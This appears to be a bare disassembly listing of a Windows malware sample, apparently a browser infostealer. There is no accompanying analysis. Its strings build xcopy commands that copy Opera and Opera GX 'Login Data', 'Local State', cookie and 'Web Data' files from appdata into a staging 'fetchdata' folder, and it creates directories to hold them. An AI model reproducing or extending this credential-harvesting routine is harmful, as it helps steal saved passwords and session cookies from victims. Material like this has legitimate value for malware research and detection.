lea rcx, [rbp + 0xa78]
call fcn.140002170
nop
lea rcx, [rbp + 0xa98]
call fcn.140002170
lea r8, [rbp + 0xc90]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x328]
call fcn.14001d460
nop
lea r8, str.NetworkCookies____appdata__fetchdataopera___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x308]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1230]
call fcn.14001db50
nop
lea rcx, [rbp + 0x308]
call fcn.140002170
nop
lea rcx, [rbp + 0x328]
call fcn.140002170
lea r8, [rbp + 0xc90]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x388]
call fcn.14001d460
nop
lea r8, str.Web_Data_
mov rdx, rax
lea rcx, [rbp + 0x368]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdataopera___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x348]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1230]
call fcn.14001db50
nop
lea rcx, [rbp + 0x348]
call fcn.140002170
nop
lea rcx, [rbp + 0x368]
call fcn.140002170
nop
lea rcx, [rbp + 0x388]
call fcn.140002170
lea rcx, [rbp + 0x1230]
call fcn.140017b40
nop
lea rcx, [rbp + 0x1230]
call fcn.140015ce0
lea rcx, [rbp + 0xcb0]
call fcn.140007fa0
test al, al
je 0x140015a96
lea rcx, [rbp + 0xd60]
call fcn.14001a0e0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp + 0x1340]
call fcn.140015d80
mov r8, rbx
lea rdx, [rbp + 0xcb0]
lea rcx, [rbp + 0x3a8]
call fcn.14001d390
nop
mov rdx, rax
lea rcx, [rbp + 0x1340]
call fcn.140017b90
nop
lea rcx, [rbp + 0x3a8]
call fcn.140002170
lea r8, [rbp + 0xcb0]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x418]
call fcn.14001d460
nop
lea r8, str.Login_Data_
mov rdx, rax
lea rcx, [rbp + 0x3f8]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdataoperagx___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x3c8]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1340]
call fcn.14001db50
nop
lea rcx, [rbp + 0x3c8]
call fcn.140002170
nop
lea rcx, [rbp + 0x3f8]
call fcn.140002170
nop
lea rcx, [rbp + 0x418]
call fcn.140002170
lea r8, [rbp + 0xcb0]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x458]
call fcn.14001d460
nop
lea r8, str.Local_State____appdata__fetchdataoperagx___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x438]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1340]
call fcn.14001db50
nop
lea rcx, [rbp + 0x438]
call fcn.140002170
nop
lea rcx, [rbp + 0x458]
call fcn.140002170
lea r8, [rbp + 0xcb0]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x498]
call fcn.14001d460
nop
lea r8, str.NetworkCookies____appdata__fetchdataoperagx___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x478]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1340]
call fcn.14001db50
nop
lea rcx, [rbp + 0x478]
call fcn.140002170
nop
lea rcx, [rbp + 0x498]
call fcn.140002170
lea r8, [rbp + 0xcb0]
lea rdx, str.xcopy__
lea rcx, [rbp + 0xeb0]
call fcn.14001d460
nop
lea r8, str.Web_Data_
mov rdx, rax
lea rcx, [rbp + 0x4d8]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdataoperagx___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x4b8]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1340]
call fcn.14001db50
nop
lea rcx, [rbp + 0x4b8]
call fcn.140002170
nop
lea rcx, [rbp + 0x4d8]
call fcn.140002170
nop
lea rcx, [rbp + 0xeb0]
call fcn.140002170
lea rcx, [rbp + 0x1340]
call fcn.140017b40
nop
lea rcx, [rbp + 0x1340]
call fcn.140015ce0
nop
lea rcx, [rbp + 0xd60]
call fcn.140002170
nop
lea rcx, [rbp + 0xee0]
call fcn.140002170
nop
lea rcx, [rbp + 0xd20]
call fcn.140002170
nop
lea rcx, [rbp + 0xd80]
call fcn.140002170
nop
lea rcx, [rbp + 0xd40]
call fcn.140002170
nop
lea rcx, [rbp + 0xc10]
call fcn.140002170
nop
lea rcx, [rbp + 0xd00]
call fcn.140002170
nop
lea rcx, [rbp + 0xcb0]
call fcn.140002170
nop
lea rcx, [rbp + 0xc90]
call fcn.140002170
nop
lea rcx, [rbp + 0xc70]
call fcn.140002170
nop
lea rcx, [rbp + 0xc50]
call fcn.140002170
nop
lea rcx, [rbp + 0xbd0]
call fcn.140002170
nop
lea rcx, [rbp + 0xad8]
call fcn.140002170
nop
lea rcx, [rbp + 0xb80]
call fcn.140002170
nop
lea rcx, [rbp + 0xab8]
call fcn.140002170
mov rcx, qword [rbp + 0x1450]
xor rcx, rsp
call fcn.14014fd10
lea r11, [rsp + 0x1560]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0xb50]
call fcn.140002170
nop
lea rcx, [rbp + 0xbf0]
call fcn.140005cd0
nop
lea rcx, [rbp + 0xbc0]
call fcn.140005cd0
nop
lea rcx, [rbp + 0xb70]
call fcn.140005cd0
nop
lea rcx, [rbp + 0xf00]
jmp 0x140015a90
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.14015ee94
nop
lea r8, [rbp + 0xbf0]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.140005710
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3
call fcn.140001f00
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3
call fcn.140001fd0
int3
call fcn.140001fd0
int3
call fcn.140001fd0
int3